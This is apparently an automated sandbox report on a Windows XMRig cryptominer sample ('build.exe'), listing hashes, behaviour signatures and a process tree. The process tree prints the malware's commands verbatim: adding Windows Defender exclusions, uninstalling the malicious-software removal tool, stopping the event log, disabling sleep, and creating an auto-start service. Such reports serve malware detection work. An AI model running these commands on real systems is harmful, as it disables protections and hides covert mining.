Analysis

  • max time kernel
    150s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    24-05-2024 02:30

General

  • Target

    build.exe

  • Size

    5.1MB

  • MD5

    d2683333c33c9c8e7a0f0d81b65b3bc0

  • SHA1

    2ea3f0156f0a47dd6801cc0e576bb4cd88932ef9

  • SHA256

    932f71143cd50338a8557d6e34058d4758ffaaeda8183a9811d296ae75ee8b58

  • SHA512

    41ae89fcefa854eda56211d51ae86435406262520bb5e66d4e61e3838b215bc28f464beb705bd104bb18c0bcb0f033ea0603de12741d87aaae0951a302045602

  • SSDEEP

    98304:HNZOsiju24uvwISssMuIUbmFecKEKPssyWiNT4uChIhZ5:Ksiju24LNrIQmMTqyGd

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\build.exe
    "C:\Users\Admin\AppData\Local\Temp\build.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2924
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2532
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2160
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2356
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2796
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2228
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2660
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2656
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "QHRAJGDI"
      2⤵
      • Launches sc.exe
      PID:2576
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "QHRAJGDI" binpath= "C:\ProgramData\nalfdgwigwyg\lhhsgwktkatl.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:2364
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:2400
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "QHRAJGDI"
      2⤵
      • Launches sc.exe
      PID:2180
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:2436
  • C:\ProgramData\nalfdgwigwyg\lhhsgwktkatl.exe
    C:\ProgramData\nalfdgwigwyg\lhhsgwktkatl.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1768
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2340
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2612
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:1968
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2452
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2700
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2716
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2244
    • C:\Windows\system32\conhost.exe
      C:\Windows\system32\conhost.exe
      2⤵
        PID:1324
      • C:\Windows\system32\conhost.exe
        conhost.exe
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1260
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1980

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • \ProgramData\nalfdgwigwyg\lhhsgwktkatl.exe
      Filesize

      5.1MB

      MD5

      d2683333c33c9c8e7a0f0d81b65b3bc0

      SHA1

      2ea3f0156f0a47dd6801cc0e576bb4cd88932ef9

      SHA256

      932f71143cd50338a8557d6e34058d4758ffaaeda8183a9811d296ae75ee8b58

      SHA512

      41ae89fcefa854eda56211d51ae86435406262520bb5e66d4e61e3838b215bc28f464beb705bd104bb18c0bcb0f033ea0603de12741d87aaae0951a302045602

    • memory/1260-33-0x0000000140000000-0x0000000140848000-memory.dmp
      Filesize

      8.3MB

    • memory/1260-32-0x0000000140000000-0x0000000140848000-memory.dmp
      Filesize

      8.3MB

    • memory/1260-28-0x0000000140000000-0x0000000140848000-memory.dmp
      Filesize

      8.3MB

    • memory/1260-24-0x0000000140000000-0x0000000140848000-memory.dmp
      Filesize

      8.3MB

    • memory/1260-37-0x0000000140000000-0x0000000140848000-memory.dmp
      Filesize

      8.3MB

    • memory/1260-38-0x0000000140000000-0x0000000140848000-memory.dmp
      Filesize

      8.3MB

    • memory/1260-26-0x0000000140000000-0x0000000140848000-memory.dmp
      Filesize

      8.3MB

    • memory/1260-27-0x0000000140000000-0x0000000140848000-memory.dmp
      Filesize

      8.3MB

    • memory/1260-29-0x0000000140000000-0x0000000140848000-memory.dmp
      Filesize

      8.3MB

    • memory/1260-31-0x0000000000180000-0x00000000001A0000-memory.dmp
      Filesize

      128KB

    • memory/1260-30-0x0000000140000000-0x0000000140848000-memory.dmp
      Filesize

      8.3MB

    • memory/1260-34-0x0000000140000000-0x0000000140848000-memory.dmp
      Filesize

      8.3MB

    • memory/1260-36-0x0000000140000000-0x0000000140848000-memory.dmp
      Filesize

      8.3MB

    • memory/1260-25-0x0000000140000000-0x0000000140848000-memory.dmp
      Filesize

      8.3MB

    • memory/1260-35-0x0000000140000000-0x0000000140848000-memory.dmp
      Filesize

      8.3MB

    • memory/1324-19-0x0000000140000000-0x000000014000E000-memory.dmp
      Filesize

      56KB

    • memory/1324-18-0x0000000140000000-0x000000014000E000-memory.dmp
      Filesize

      56KB

    • memory/1324-16-0x0000000140000000-0x000000014000E000-memory.dmp
      Filesize

      56KB

    • memory/1324-15-0x0000000140000000-0x000000014000E000-memory.dmp
      Filesize

      56KB

    • memory/1324-17-0x0000000140000000-0x000000014000E000-memory.dmp
      Filesize

      56KB

    • memory/1324-22-0x0000000140000000-0x000000014000E000-memory.dmp
      Filesize

      56KB

    • memory/1980-40-0x0000000140000000-0x00000001405E8000-memory.dmp
      Filesize

      5.9MB

    • memory/2340-14-0x0000000000CA0000-0x0000000000CA8000-memory.dmp
      Filesize

      32KB

    • memory/2340-13-0x0000000019EE0000-0x000000001A1C2000-memory.dmp
      Filesize

      2.9MB

    • memory/2436-0-0x0000000140000000-0x00000001405E8000-memory.dmp
      Filesize

      5.9MB

    • memory/2436-1-0x0000000140000000-0x00000001405E8000-memory.dmp
      Filesize

      5.9MB

    • memory/2436-39-0x0000000140000000-0x00000001405E8000-memory.dmp
      Filesize

      5.9MB

    • memory/2532-7-0x000000001B4E0000-0x000000001B7C2000-memory.dmp
      Filesize

      2.9MB

    • memory/2532-6-0x0000000002B20000-0x0000000002BA0000-memory.dmp
      Filesize

      512KB

    • memory/2532-8-0x0000000002030000-0x0000000002038000-memory.dmp
      Filesize

      32KB